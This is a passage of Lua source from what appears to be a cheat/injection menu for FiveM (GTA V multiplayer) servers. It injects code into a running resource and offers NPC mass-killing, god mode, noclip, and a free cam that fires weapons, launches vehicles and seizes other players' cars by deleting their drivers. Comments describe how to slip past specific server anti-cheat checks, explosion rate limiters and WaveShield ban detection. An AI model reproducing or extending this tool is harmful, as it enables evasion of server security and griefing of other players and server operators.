                                    end)
                                ]])
                            else
                                injectCode('monitor', [[
                                    HardSuicide = false
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Kill All Nearby Peds',
                        desc = 'Kills all NPC peds within chosen radius',
                        type = 'scroll',
                        selected = 2,
                        options = {
                            { label = '10m',  value = 10.0  },
                            { label = '25m',  value = 25.0  },
                            { label = '50m',  value = 50.0  },
                            { label = '100m', value = 100.0 },
                            { label = '250m', value = 250.0 },
                        },
                        onConfirm = function(data)
                            local radius = data.value
                            injectCode('monitor', ([[
                                local radius = RADIUS
                                local selfPed = PlayerPedId()
                                local coords = GetEntityCoords(selfPed)
                                local killed = 0
                                local peds = GetGamePool('CPed')
                                for i = 1, #peds do
                                    local ped = peds[i]
                                    if ped and ped > 0 and DoesEntityExist(ped) and ped ~= selfPed then
                                        if not IsPedAPlayer(ped) and not IsEntityDead(ped) then
                                            local pedCoords = GetEntityCoords(ped)
                                            if #(pedCoords - coords) <= radius then
                                                SafeRunNative(SetEntityHealth, ped, 0)
                                                SafeRunNative(ApplyDamageToPed, ped, 500, false)
                                                if not IsEntityDead(ped) then
                                                    SafeRunNative(AddExplosion, pedCoords.x, pedCoords.y, pedCoords.z, 0, 0.0, true, false, 0.0)
                                                end
                                                killed = killed + 1
                                            end
                                        end
                                    end
                                end
                            ]]):gsub('RADIUS', tostring(radius)))
                            showNotify('Killed NPCs within ' .. tostring(radius) .. 'm', 'success')
                        end
                    },
                    {
                        label = 'Full Health',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local setPed = PlayerPedId()
                                SafeRunNative(SetEntityHealth, setPed, 200)
                            ]])
                        end
                    },
                    {
                        label = 'Set Health',
                        desc = 'Set your health to a precise value (0–100)',
                        type = 'slider',
                        value = 100,
                        min = 0,
                        max = 100,
                        step = 5,
                        onConfirm = function(v)
                            injectCode('monitor', ([[
                                SafeRunNative(SetEntityHealth, PlayerPedId(), VALUE)
                            ]]):gsub('VALUE', tostring(v + 100)))
                        end
                    },
                    {
                        label = 'Full Armor',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                local setPed = PlayerPedId()
                                SafeRunNative(SetPedArmour, setPed, 100)
                            ]])
                        end
                    },
                    {
                        label = 'Set Armor',
                        desc = 'Set your armor to a precise value (0–100)',
                        type = 'slider',
                        value = 100,
                        min = 0,
                        max = 100,
                        step = 5,
                        onConfirm = function(v)
                            injectCode('monitor', ([[
                                SafeRunNative(SetPedArmour, PlayerPedId(), VALUE)
                            ]]):gsub('VALUE', tostring(v)))
                        end
                    },
                    {
                        label = 'Refill Food',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(TriggerEvent, 'esx_status:set', 'hunger', 1000000)
                            ]])
                        end
                    },
                    {
                        label = 'Refill Water',
                        type = 'button',
                        onConfirm = function()
                            injectCode('monitor', [[
                                SafeRunNative(TriggerEvent, 'esx_status:set', 'thirst', 1000000)
                            ]])
                        end
                    },
                    { type = 'divider', label = 'Other' },
                    {
                        label = 'Noclip',
                        icon = "ph ph-skull",
                        desc = 'Fly anywhere. WASD = move, Space = up, Ctrl = down, Shift = boost.',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled then
                                injectCode('monitor', [[
                                    setNoclipAllow = true
                                    setNoclipActive = true
                                    setNoclipSpeed = setNoclipSpeed or 12.0
                                    setNoclipMode = setNoclipMode or 'default'

                                    local function getCamDirection()
                                        local heading = GetGameplayCamRelativeHeading() + GetEntityHeading(PlayerPedId())
                                        local pitch = GetGameplayCamRelativePitch()
                                        local x = -math.sin(math.rad(heading)) * math.cos(math.rad(pitch))
                                        local y = math.cos(math.rad(heading)) * math.cos(math.rad(pitch))
                                        local z = math.sin(math.rad(pitch))
                                        return vector3(x, y, z)
                                    end

                                    local noclipModes = {
                                        witchy = {
                                            model = GetHashKey('prop_tool_broom'),
                                            bone = 0x0,
                                            offset = vector3(0.0, 0.0, -0.1),
                                            rot = vector3(90.0, 0.0, 180.0),
                                            animDict = 'amb@prop_human_seat_chair@female@proper@idle_a',
                                            animName = 'idle_a',
                                        },
                                        chilling = {
                                            model = GetHashKey('prop_patio_lounger1'),
                                            bone = 0x0,
                                            offset = vector3(0.0, -0.6, 0.1),
                                            rot = vector3(70.0, 0.0, 180.0),
                                            animDict = 'amb@prop_human_seat_sunlounger@male@idle_a',
                                            animName = 'idle_a',
                                        },
                                        shitting = {
                                            model = GetHashKey('prop_toilet_01'),
                                            bone = 0x0,
                                            offset = vector3(0.0, -0.15, -0.45),
                                            rot = vector3(0.0, 0.0, 180.0),
                                            animDict = 'amb@prop_human_seat_chair@female@arms_folded@idle_a',
                                            animName = 'idle_a',
                                        },
                                    }

                                    setNoclipModelFailedAt = setNoclipModelFailedAt or {}

                                    local function waitForModel(model)
                                        local lastFailed = setNoclipModelFailedAt[model]
                                        if lastFailed and (GetGameTimer() - lastFailed) < 3000 then
                                            return false
                                        end
                                        local attempts = 0
                                        SafeRunNative(RequestModel, model)
                                        while not HasModelLoaded(model) and attempts < 300 do
                                            SafeRunNative(RequestModel, model)
                                            Wait(0)
                                            attempts = attempts + 1
                                        end
                                        if HasModelLoaded(model) then
                                            setNoclipModelFailedAt[model] = nil
                                            return true
                                        end
                                        setNoclipModelFailedAt[model] = GetGameTimer()
                                        return false
                                    end

                                    local function clearNoclipProp(setPed)
                                        if setNoclipProp and DoesEntityExist(setNoclipProp) then
                                            SafeRunNative(DeleteObject, setNoclipProp)
                                        end
                                        setNoclipProp = nil
                                        setNoclipPropModel = nil
                                        if setPed and GetVehiclePedIsIn(setPed, false) <= 0 then
                                            SafeRunNative(ClearPedTasksImmediately, setPed)
                                        end
                                    end

                                    local function applyNoclipMode(setPed)
                                        local modeChanged = setNoclipMode ~= setNoclipLastMode
                                        local modeCfg = noclipModes[setNoclipMode]
                                        if not modeCfg then
                                            if modeChanged then clearNoclipProp(setPed) end
                                            setNoclipLastMode = setNoclipMode
                                            return
                                        end
                                        if not setNoclipProp or not DoesEntityExist(setNoclipProp) or setNoclipPropModel ~= modeCfg.model then
                                            clearNoclipProp(setPed)
                                            if waitForModel(modeCfg.model) then
                                                local pos = GetEntityCoords(setPed)
                                                local prop = SafeRunNative(CreateObject, modeCfg.model, pos.x, pos.y, pos.z, false, false, false)
                                                SafeRunNative(AttachEntityToEntity, prop, setPed,
                                                    GetPedBoneIndex(setPed, modeCfg.bone),
                                                    modeCfg.offset.x, modeCfg.offset.y, modeCfg.offset.z,
                                                    modeCfg.rot.x, modeCfg.rot.y, modeCfg.rot.z,
                                                    true, true, false, false, 2, true)
                                                SafeRunNative(SetEntityCollision, prop, false, false)
                                                setNoclipProp = prop
                                                setNoclipPropModel = modeCfg.model
                                            end
                                            SafeRunNative(SetModelAsNoLongerNeeded, modeCfg.model)
                                        elseif not IsEntityAttachedToEntity(setNoclipProp, setPed) then
                                            SafeRunNative(AttachEntityToEntity, setNoclipProp, setPed,
                                                GetPedBoneIndex(setPed, modeCfg.bone),
                                                modeCfg.offset.x, modeCfg.offset.y, modeCfg.offset.z,
                                                modeCfg.rot.x, modeCfg.rot.y, modeCfg.rot.z,
                                                true, true, false, false, 2, true)
                                        end
                                        if modeCfg.animDict and not IsEntityPlayingAnim(setPed, modeCfg.animDict, modeCfg.animName, 3) then
                                            PlayAnim(setPed, modeCfg.animDict, modeCfg.animName, 8.0, -8.0, -1, 1, 0, false, false, false)
                                        end
                                        setNoclipLastMode = setNoclipMode
                                    end

                                    if not setNoclipThreads then
                                        setNoclipThreads = true
                                        SafeRunNative(CreateThread, function()
                                            while setNoclipAllow do
                                                Wait(0)
                                                if setNoclipActive and setNoclipAllow then
                                                    local setPed = PlayerPedId()
                                                    local setVehicle = GetVehiclePedIsIn(setPed, false)
                                                    local setEntity = setVehicle > 0 and setVehicle or setPed
                                                    local pos = GetEntityCoords(setEntity)
                                                    local move = vector3(0, 0, 0)
                                                    local camDir = getCamDirection()

                                                    if IsControlPressed(0, 32) then move = move + (camDir * setNoclipSpeed) end
                                                    if IsControlPressed(0, 33) then move = move - (camDir * setNoclipSpeed) end
                                                    if IsControlPressed(0, 34) then move = move + (vector3(-camDir.y, camDir.x, 0) * setNoclipSpeed) end
                                                    if IsControlPressed(0, 35) then move = move + (vector3(camDir.y, -camDir.x, 0) * setNoclipSpeed) end
                                                    if IsControlPressed(0, 46) then move = move + vector3(0, 0, -setNoclipSpeed) end
                                                    if IsControlPressed(0, 44) then move = move + vector3(0, 0, setNoclipSpeed) end
                                                    if IsControlPressed(0, 21) then move = move * 2.5 end

                                                    if #(move) > 0.01 then
                                                        local newPos = pos + (move * 0.1)
                                                        SafeRunNative(SetEntityCoordsNoOffset, setEntity, newPos.x, newPos.y, newPos.z, true, true, true)
                                                    end

                                                    local camHeading = GetGameplayCamRelativeHeading() + GetEntityHeading(setPed)
                                                    SafeRunNative(SetEntityHeading, setEntity, camHeading % 360)
                                                    SafeRunNative(FreezeEntityPosition, setEntity, true)
                                                    applyNoclipMode(setPed)
                                                else
                                                    local setPed = PlayerPedId()
                                                    local setVehicle = GetVehiclePedIsIn(setPed, false)
                                                    SafeRunNative(FreezeEntityPosition, setVehicle > 0 and setVehicle or setPed, false)
                                                    if setVehicle > 0 then
                                                        SafeRunNative(SetEntityVelocity, setVehicle, 0.0, 0.0, -0.1)
                                                    end
                                                    clearNoclipProp()
                                                end
                                            end
                                            local setPed = PlayerPedId()
                                            local setVehicle = GetVehiclePedIsIn(setPed, false)
                                            if setVehicle > 0 then
                                                SafeRunNative(FreezeEntityPosition, setVehicle, false)
                                                SafeRunNative(SetEntityVelocity, setVehicle, 0.0, 0.0, -0.1)
                                            end
                                            setNoclipThreads = false
                                        end)
                                    end
                                ]])
                            else
                                injectCode('monitor', [[
                                    setNoclipAllow = false
                                    setNoclipActive = false
                                    if setNoclipProp and DoesEntityExist(setNoclipProp) then
                                        SafeRunNative(DeleteObject, setNoclipProp)
                                    end
                                    setNoclipProp = nil
                                    setNoclipPropModel = nil
                                    local setPed = PlayerPedId()
                                    local setVehicle = GetVehiclePedIsIn(setPed, false)
                                    if setVehicle > 0 then
                                        SafeRunNative(FreezeEntityPosition, setVehicle, false)
                                        SafeRunNative(SetEntityVelocity, setVehicle, 0.0, 0.0, -0.1)
                                    else
                                        SafeRunNative(ClearPedTasksImmediately, setPed)
                                    end
                                ]])
                            end
                        end
                    },
                    {
                        label = 'Noclip Mode',
                        icon = "ph ph-magic-wand",
                        type = 'scroll',
                        options = {
                            { label = 'Default',  value = 'default'  },
                            { label = 'Witch',    value = 'witchy'   },
                            { label = 'Chill',    value = 'chilling' },
                            { label = 'Shitting', value = 'shitting' },
                        },
                        selected = 1,
                        onConfirm = function(setOptions)
                            injectCode('monitor', [[
                                setNoclipMode = ']] .. setOptions.value .. [['
                            ]])
                        end
                    },
                    {
                        label = 'Noclip Speed',
                        icon = "ph ph-gauge",
                        type = 'scroll',
                        options = {
                            { label = 'Slow',   value = 6.0  },
                            { label = 'Normal', value = 12.0 },
                            { label = 'Fast',   value = 24.0 },
                            { label = 'Turbo',  value = 48.0 },
                        },
                        selected = 2,
                        onConfirm = function(opt)
                            injectCode('monitor', string.format([[
                                setNoclipSpeed = %f
                            ]], opt.value))
                        end
                    },
                    {
                        label = 'Free Cam',
                        type = 'checkbox',
                        onConfirm = function(enabled)
                            if enabled == false then
                                MachoExecuteDuiScript(Dui, 'window.hoveringText.hideList();')
                                MachoExecuteDuiScript(Dui, 'window.crosshair.hide();')

                                injectCode('monitor', [[
                                    DeleteTrackedThread('Freecam')
                                ]])

                                if freecamHandle and DoesCamExist(freecamHandle) then
                                    SetCamActive(freecamHandle, false)
                                    RenderScriptCams(false, false, 0, false, false)
                                    DestroyCam(freecamHandle, false)
                                end

                                freecamHandle = nil

                                return
                            end

                            MachoExecuteDuiScript(Dui, 'window.hoveringText.showList();')
                            MachoExecuteDuiScript(Dui, 'window.crosshair.show();')

                            local fcPos = GetGameplayCamCoord()
                            local fcRot = GetGameplayCamRot(2)

                            freecamHandle = CreateCamWithParams('DEFAULT_SCRIPTED_CAMERA', fcPos.x, fcPos.y, fcPos.z, fcRot.x, fcRot.y, fcRot.z, 70.0, true, 2)
                            SetCamActive(freecamHandle, true)
                            RenderScriptCams(true, false, 0, true, true)

                            injectCode('monitor', string.format('local cam = %d\n', freecamHandle) .. [[
                                local sensitivity = 7.5
                                local speedBase = 5.0
                                local lastHold

                                local currentWeapon = _G.SetClient_CurrentSetFcWeapon or 1
                                local setWeapons = {
                                    'weapon_appistol',
                                    'weapon_combatpistol',
                                    'weapon_pistol50',
                                }

                                local busyFcVehicles = {}
                                local currentShootVehicle = _G.SetClient_CurrentSetFcShootVehicle or 1
                                local setVehicles = {
                                    'Random Existing',
                                    -- bicycles / scooters
                                    'cruiser',
                                    'bmx',
                                    'faggio2',
                                    'tribike',
                                    -- dirt / off-road
                                    'sanchez',
                                    'enduro',
                                    'blazer',
                                    -- sport bikes
                                    'bati',
                                    'pcj',
                                    -- sedans / compacts
                                    'sultan',
                                    'premier',
                                    'fugitive',
                                    'blista',
                                    -- muscle
                                    'dominator',
                                    'gauntlet',
                                    'vigero',
                                    'phoenix',
                                    -- suvs
                                    'baller',
                                    'seminole',
                                    'mesa',
                                    -- vans
                                    'burrito',
                                    'moonbeam',
                                    'youga',
                                    -- trucks / pickups
                                    'bobcat',
                                    'bison',
                                    'sadler',
                                    -- classics / lowriders
                                    'tornado',
                                    'manana',
                                    'peyote',
                                    'buccaneer',
                                    'voodoo',
                                }

                                local currentSpawnProp = _G.SetClient_CurrentSetFcSpawnProp or 1
                                local setProps = {
                                    'prop_towercrane_02a',
                                    'xm_prop_x17_barge_01',
                                    'prop_air_bigradar_l1',
                                    'prop_storagetank_01',
                                    'prop_lev_des_barge_01',
                                    'prop_rail_boxcar',
                                    'xm_prop_x17_silo_01a',
                                    'xm_prop_x17_silo_rocket_01',
                                    'm23_2_prop_m32_ice_block_05b',
                                    'xs_prop_can_tunnel_wl',
                                    'xs_combined_dyst_06_roads',
                                    'xs_propintarena_structure_c_02a',
                                    'prop_huge_display_01',
                                    'prop_tree_pine_02',
                                    'prop_rock_4_big2',
                                    'prop_ind_mech_01c',
                                    'prop_xmas_ext',
                                    'prop_ld_ferris_wheel',
                                    'prop_tree_cedar_03',
                                    'prop_mp_ramp_03',
                                    'prop_pylon_02',
                                    'prop_air_bridge01',
                                    'prop_dock_crane_02',
                                    'prop_ind_barge_01',
                                    'prop_makeup_trail_02',
                                    'prop_ind_barge_02',
                                    'xm_prop_out_hanger_lift',
                                    'xs_propint2_building_05b',
                                    'xm_prop_x17_sub',
                                    'xm_prop_x17_shamal_crash',
                                    'custom',
                                }

                                -- Three separate server-side handlers have to be satisfied at once:
                                --   1. explosionEvent   - rejects any explosion whose weapon hash is not on its
                                --                         own ignore list, so the weapon must come from that list.
                                --   2. startProjectileEvent - rejects every projectile that is not explicitly
                                --                         whitelisted, and that whitelist is empty by default.
                                --                         Anything that launches a rocket, shell, grenade or
                                --                         flare is therefore off the table completely.
                                --   3. weaponDamageEvent - spoofed-bullet check, skipped for ignored weapons.
                                -- Only hitscan vehicle weapons satisfy all three: they never create a
                                -- projectile, and their hashes sit on the explosion + damage ignore lists.
                                -- The laser cannons are the only ones of those that also detonate on impact.
                                local explodeWeapon = 'VEHICLE_WEAPON_PLAYER_LAZER'

                                -- Explosion limiters count explosions per player in a rolling 5 second window
                                -- and trip at 5, so never let more than 4 leave the client in that window.
                                local function GetExplodeAllowance(setCount)
                                    local now = GetGameTimer()

                                    setCount = setCount or 1

                                    _G.SetClient_ExplodeHistory = _G.SetClient_ExplodeHistory or {}

                                    for i = #_G.SetClient_ExplodeHistory, 1, -1 do
                                        if (now - _G.SetClient_ExplodeHistory[i]) > 5000 then
                                            table.remove(_G.SetClient_ExplodeHistory, i)
                                        end
                                    end

                                    if (#_G.SetClient_ExplodeHistory + setCount) > 4 then
                                        SendToHook('FreecamNotify', 'Explosion rate limit: wait a few seconds', 'error')

                                        return false
                                    end

                                    for i = 1, setCount do
                                        _G.SetClient_ExplodeHistory[#_G.SetClient_ExplodeHistory + 1] = now
                                    end

                                    return true
                                end

                                local currentSpawnPed = _G.SetClient_CurrentSetFcSpawnPed or 1
                                local setPeds = {
                                    { label = 'Random' },
                                    { label = 'Humpback Whale', model = 'a_c_humpback',      pedType = 28 },
                                    { label = 'Killer Whale',   model = 'a_c_killerwhale',   pedType = 28 },
                                    { label = 'Tiger Shark',    model = 'a_c_sharktiger',    pedType = 28 },
                                    { label = 'Dolphin',        model = 'a_c_dolphin',       pedType = 28 },
                                    { label = 'Chimp',          model = 'a_c_chimp',         pedType = 28 },
                                    { label = 'Cow',            model = 'a_c_cow',           pedType = 28 },
                                    { label = 'Boar',           model = 'a_c_boar',          pedType = 28 },
                                    { label = 'Coyote',         model = 'a_c_coyote',        pedType = 28 },
                                    { label = 'Deer',           model = 'a_c_deer',          pedType = 28 },
                                    { label = 'Mountain Lion',  model = 'a_c_mtlion',        pedType = 28 },
                                    { label = 'Pig',            model = 'a_c_pig',           pedType = 28 },
                                    { label = 'Rabbit',         model = 'a_c_rabbit_01',     pedType = 28 },
                                    { label = 'Rottweiler',     model = 'a_c_rottweiler',    pedType = 28 },
                                    { label = 'Husky',          model = 'a_c_husky',         pedType = 28 },
                                    { label = 'Pug',            model = 'a_c_pug',           pedType = 28 },
                                    { label = 'Retriever',      model = 'a_c_retriever',     pedType = 28 },
                                    { label = 'Cat',            model = 'a_c_cat_01',        pedType = 28 },
                                    { label = 'Chicken Hawk',   model = 'a_c_chickenhawk',   pedType = 28 },
                                    { label = 'Crow',           model = 'a_c_crow',          pedType = 28 },
                                    { label = 'Seagull',        model = 'a_c_seagull',       pedType = 28 },
                                    { label = 'Rat',            model = 'a_c_rat',           pedType = 28 },
                                    { label = 'Cop',            model = 's_m_y_cop_01' },
                                    { label = 'Swat',           model = 's_m_y_swat_01' },
                                    { label = 'Clown',          model = 's_m_y_clown_01' },
                                    { label = 'Zombie',         model = 'u_m_y_zombie_01' },
                                    { label = 'Yule Monster',   model = 'u_m_m_yulemonster' },
                                    { label = 'Marine',         model = 'csb_ramp_marine' },
                                    { label = 'Lost MC',        model = 'g_m_y_lost_01' },
                                    { label = 'Ballas',         model = 'g_m_y_ballasog' },
                                    { label = 'Freemode Male',  model = 'mp_m_freemode_01' },
                                    { label = 'Freemode Female',model = 'mp_f_freemode_01' },
                                    { label = 'Michael',        model = 'player_zero' },
                                    { label = 'Franklin',       model = 'player_one' },
                                    { label = 'Trevor',         model = 'player_two' },
                                    { label = 'Custom Ped' },
                                }

                                local currentHijackDriver = _G.SetClient_CurrentSetFcHijackDriver or 1
                                local setHijackDrivers = {
                                    { label = 'Yule Monster', model = 'u_m_m_yulemonster' },
                                    { label = 'Clown',        model = 's_m_y_clown_01' },
                                    { label = 'Zombie',       model = 'u_m_y_zombie_01' },
                                    { label = 'Cop',          model = 's_m_y_cop_01' },
                                    { label = 'Chimp',        model = 'a_c_chimp', pedType = 28 },
                                    { label = 'Cow',          model = 'a_c_cow',   pedType = 28 },
                                }

                                local function GetSpawnAllowance()
                                    if GetResourceState('WaveShield') ~= 'started' then
                                        return true
                                    end

                                    local now = GetGameTimer()

                                    _G.SetClient_SpawnHistory = _G.SetClient_SpawnHistory or {}
                                    _G.SetClient_SpawnCooldownUntil = _G.SetClient_SpawnCooldownUntil or 0

                                    if now < _G.SetClient_SpawnCooldownUntil then
                                        return false
                                    end

                                    for i = #_G.SetClient_SpawnHistory, 1, -1 do
                                        if (now - _G.SetClient_SpawnHistory[i]) > 3000 then
                                            table.remove(_G.SetClient_SpawnHistory, i)
                                        end
                                    end

                                    _G.SetClient_SpawnHistory[#_G.SetClient_SpawnHistory + 1] = now

                                    if #_G.SetClient_SpawnHistory >= 3 then
                                        _G.SetClient_SpawnCooldownUntil = now + 7000
                                        _G.SetClient_SpawnHistory = {}

                                        SendToHook('FreecamNotify', 'Ban prevention: wait 7s before spawning again', 'error')

                                        return false
                                    end

                                    return true
                                end

                                local function LoadSetModel(model)
                                    local modelHash = GetHashKey(model)

                                    RequestModel(modelHash)

                                    local setTimer = GetGameTimer()

                                    while not HasModelLoaded(modelHash) do
                                        Wait(0)

                                        if (GetGameTimer() - setTimer) > 5000 then
                                            return
                                        end
                                    end

                                    return modelHash
                                end

                                local physHeldEntity = 0
                                local physHoldDist = 5.0

                                -- GetEntityArchetypeName throws on anything that is not a real script
                                -- entity (map geometry the probe hits, peds, detached props), so it is
                                -- only ever called for vehicles and always behind a type check.
                                local function GetPhysEntityLabel(entity)
                                    if not entity or entity <= 0 or not DoesEntityExist(entity) then
                                        return
                                    end

                                    local entityType = GetEntityType(entity)

                                    if entityType == 2 then
                                        return GetEntityArchetypeName(entity) or 'vehicle'
                                    elseif entityType == 1 then
                                        if IsPedAPlayer(entity) then
                                            return GetPlayerName(NetworkGetPlayerIndexFromPed(entity)) or 'player'
                                        end

                                        return 'ped'
                                    elseif entityType == 3 then
                                        return 'object'
                                    end
                                end

                                local function PhysGunRelease()
                                    if physHeldEntity ~= 0 then
                                        if DoesEntityExist(physHeldEntity) then
                                            SafeRunNative(ResetEntityAlpha, physHeldEntity)
                                        end

                                        physHeldEntity = 0
                                    end
                                end

                                local function GetFirstPassengerSeat(veh)
                                    for _, seat in ipairs({0, 1, 2, 3}) do
                                        if IsVehicleSeatFree(veh, seat) then
                                            return seat
                                        end
                                    end
                                end

                                local function TeleportOutsideVehicle(ped, veh)
                                    local vehCoords = GetEntityCoords(veh)
                                    local forward = GetEntityForwardVector(veh)
                                    SafeRunNative(SetEntityCoordsNoOffset, ped, vehCoords.x + forward.x * -3.0, vehCoords.y + forward.y * -3.0, vehCoords.z + 0.5, false, false, false)
                                end

                                local function KickVehicleDriver(vehicle)
                                    if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end

                                    local ped = PlayerPedId()
                                    local originalCoords = GetEntityCoords(ped)

                                    local reqStart = GetGameTimer()
                                    while (GetGameTimer() - reqStart) < 1500 do
                                        if NetworkHasControlOfEntity(vehicle) then break end
                                        SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                        Wait(0)
                                    end

                                    SafeRunNative(SetEntityVisible, ped, false, false)

                                    local attempts = 0
                                    while attempts < 10 do
                                        attempts = attempts + 1

                                        local driver = GetPedInVehicleSeat(vehicle, -1)
                                        if driver == 0 then break end

                                        local seat = GetFirstPassengerSeat(vehicle)
                                        if not seat then break end

                                        TeleportOutsideVehicle(ped, vehicle)
                                        Wait(40)

                                        SafeRunNative(SetPedIntoVehicle, ped, vehicle, seat)
                                        Wait(60)

                                        SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                        Wait(800)

                                        SafeRunNative(DeleteEntity, driver)
                                        Wait(80)

                                        SafeRunNative(SetPedIntoVehicle, ped, vehicle, -1)
                                        Wait(200)

                                        if GetPedInVehicleSeat(vehicle, -1) == ped then break end
                                    end

                                    if IsPedInAnyVehicle(ped, false) then
                                        local veh = GetVehiclePedIsIn(ped, false)
                                        SafeRunNative(TaskLeaveVehicle, ped, veh, 16)
                                        Wait(200)
                                        SafeRunNative(ClearPedTasksImmediately, ped)
                                    end

                                    SafeRunNative(SetEntityCoordsNoOffset, ped, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false)
                                    SafeRunNative(SetEntityVisible, ped, true, false)
                                end

                                local function PhysGunGrab(entity, camCoords)
                                    if not entity or entity <= 0 or not DoesEntityExist(entity) then
                                        return
                                    end

                                    local entityType = GetEntityType(entity)

                                    if entityType ~= 1 and entityType ~= 2 and entityType ~= 3 then
                                        return
                                    end

                                    if entity == PlayerPedId() or entity == GetEntityParent() then
                                        return
                                    end

                                    SafeRunNative(CreateThread, function()
                                        if entityType == 2 then
                                            local ped = PlayerPedId()
                                            local driver = GetPedInVehicleSeat(entity, -1)

                                            if driver ~= 0 and driver ~= ped then
                                                KickVehicleDriver(entity)
                                            end

                                            TakeControlOfVehicle(entity)
                                        else
                                            local setTimer = GetGameTimer()

                                            while DoesEntityExist(entity) and not NetworkHasControlOfEntity(entity) and (GetGameTimer() - setTimer) <= 1000 do
                                                SafeRunNative(NetworkRequestControlOfEntity, entity)

                                                Wait(0)
                                            end
                                        end

                                        if not DoesEntityExist(entity) then
                                            return
                                        end

                                        -- Taking control can take up to a second; if the button was let go in
                                        -- the meantime don't leave a ghosted entity stuck in the held state.
                                        if not IsDisabledControlPressed(0, 24) then
                                            return
                                        end

                                        SafeRunNative(SetEntityAsMissionEntity, entity, true, true)
                                        SafeRunNative(FreezeEntityPosition, entity, false)
                                        SafeRunNative(SetEntityCollision, entity, true, true)
                                        SafeRunNative(SetEntityAlpha, entity, 180, false)

                                        local distance = #(GetEntityCoords(entity) - camCoords)

                                        physHoldDist = math.max(2.0, math.min(distance, 100.0))
                                        physHeldEntity = entity
                                    end)
                                end

                                local function GetVehicleData(isSelected, entity)
                                    if not isSelected or not entity then
                                        return
                                    end

                                    if entity > 0 and DoesEntityExist(entity) and GetEntityType(entity) == 2 then
                                        return '('..(GetEntityArchetypeName(entity) or '?')..')'
                                    end

                                    return '(none)'
                                end

                                local options = {
                                    {
                                        id = 'view_world',
                                        label = 'View World',
                                    },
                                    {
                                        id = 'teleport',
                                        label = 'Teleport',
                                        onHold = function(entity, targetCoords, camCoords, camRotation)
                                            if targetCoords then
                                                local selfPed = PlayerPedId()
                                                local setEntity = GetEntityParent()

                                                if entity and entity > 0 and GetEntityType(entity) == 2 then
                                                    if setEntity and setEntity == entity then
                                                        return
                                                    end

                                                    for i = -1, GetVehicleMaxNumberOfPassengers(entity) - 1 do
                                                        if IsVehicleSeatFree(entity, i) then
                                                            SafeRunNative(TaskWarpPedIntoVehicle, selfPed, entity, i)
                                                            return
                                                        end
                                                    end
                                                end

                                                SafeRunNative(SetEntityCoords, setEntity, targetCoords.x, targetCoords.y, targetCoords.z)
                                                SafeRunNative(SetEntityHeading, setEntity, camRotation.z)
                                            end
                                        end
                                    },
                                    {
                                        id = 'shoot_weapon',
                                        liveLabel = function(isSelected)
                                            local data

                                            if isSelected then
                                                local setWeapon = setWeapons[currentWeapon]

                                                data = '('..(setWeapon or '?')..')'
                                            end

                                            return {
                                                label = 'Shoot Weapon',
                                                data = data
                                            }
                                        end,
                                        onLeft = function()
                                            if currentWeapon > 1 then
                                                currentWeapon = currentWeapon - 1
                                            else
                                                currentWeapon = #setWeapons
                                            end

                                            _G.SetClient_CurrentSetFcWeapon = currentWeapon
                                        end,
                                        onRight = function()
                                            if currentWeapon < #setWeapons then
                                                currentWeapon = currentWeapon + 1
                                            else
                                                currentWeapon = 1
                                            end

                                            _G.SetClient_CurrentSetFcWeapon = currentWeapon
                                        end,
                                        onHold = function(entity, targetCoords, camCoords)
                                            if targetCoords then
                                                local setWeapon = setWeapons[currentWeapon]

                                                ShootBullet('self', GetHashKey(setWeapon), targetCoords, camCoords)
                                            end
                                        end
                                    },
                                    {
                                        id = 'shoot_vehicle',
                                        liveLabel = function(isSelected)
                                            local data

                                            if isSelected then
                                                local setVehicle = setVehicles[currentShootVehicle]

                                                data = '('..(setVehicle or '?')..')'
                                            end

                                            return {
                                                label = 'Shoot Vehicle',
                                                data = data
                                            }
                                        end,
                                        onLeft = function()
                                            if currentShootVehicle > 1 then
                                                currentShootVehicle = currentShootVehicle - 1
                                            else
                                                currentShootVehicle = #setVehicles
                                            end

                                            _G.SetClient_CurrentSetFcShootVehicle = currentShootVehicle
                                        end,
                                        onRight = function()
                                            if currentShootVehicle < #setVehicles then
                                                currentShootVehicle = currentShootVehicle + 1
                                            else
                                                currentShootVehicle = 1
                                            end

                                            _G.SetClient_CurrentSetFcShootVehicle = currentShootVehicle
                                        end,
                                        onHold = function(entity, targetCoords, camCoords, camRotation)
                                            if targetCoords then
                                                local vehicleModel = setVehicles[currentShootVehicle]

                                                SafeRunNative(CreateThread, function()
                                                    local createdVehicle = false
                                                    local vehicle

                                                    if vehicleModel == 'Random Existing' then
                                                        local setTimer = GetGameTimer()
                                                        local vehicles = GetGamePool('CVehicle')
                                                        local randomExisting = {}

                                                        for i = 1, #vehicles do
                                                            local setVehicle = vehicles[i]

                                                            if setVehicle and NetworkGetEntityIsNetworked(setVehicle) then
                                                                local busyTimer = busyFcVehicles[setVehicle]

                                                                if not busyTimer or (setTimer - busyTimer) > 1000 then
                                                                    randomExisting[#randomExisting + 1] = setVehicle
                                                                end
                                                            end
                                                        end

                                                        if #randomExisting > 0 then
                                                            vehicle = randomExisting[math.random(#randomExisting)]

                                                            busyFcVehicles[vehicle] = setTimer

                                                            TakeControlOfVehicle(vehicle)
                                                            SetCoords(vehicle, camCoords)
                                                        else
                                                            return
                                                        end
                                                    else
                                                        local function SpawnVehicle(model, coords)
                                                            local vehicleHash = GetHashKey(model)

                                                            RequestModel(vehicleHash)

                                                            local setTimer = GetGameTimer()

                                                            while not HasModelLoaded(vehicleHash) do
                                                                Wait(0)

                                                                if (GetGameTimer() - setTimer) > 5000 then
                                                                    return
                                                                end
                                                            end

                                                            local spawnedVehicle = SafeRunNative(CreateVehicle, vehicleHash, coords.x, coords.y, coords.z, 0.0, true, false)

                                                            SafeRunNative(SetModelAsNoLongerNeeded, vehicleHash)

                                                            return spawnedVehicle
                                                        end

                                                        vehicle = SpawnVehicle(vehicleModel, camCoords)

                                                        if not vehicle then
                                                            return
                                                        else
                                                            createdVehicle = true
                                                        end
                                                    end

                                                    SafeRunNative(SetEntityRotation, vehicle, camRotation, 2, true)
                                                    SafeRunNative(SetEntityInvincible, vehicle, true)
                                                    SafeRunNative(SetEntityProofs, vehicle, true, true, true, true, true, true, true)

                                                    if createdVehicle then
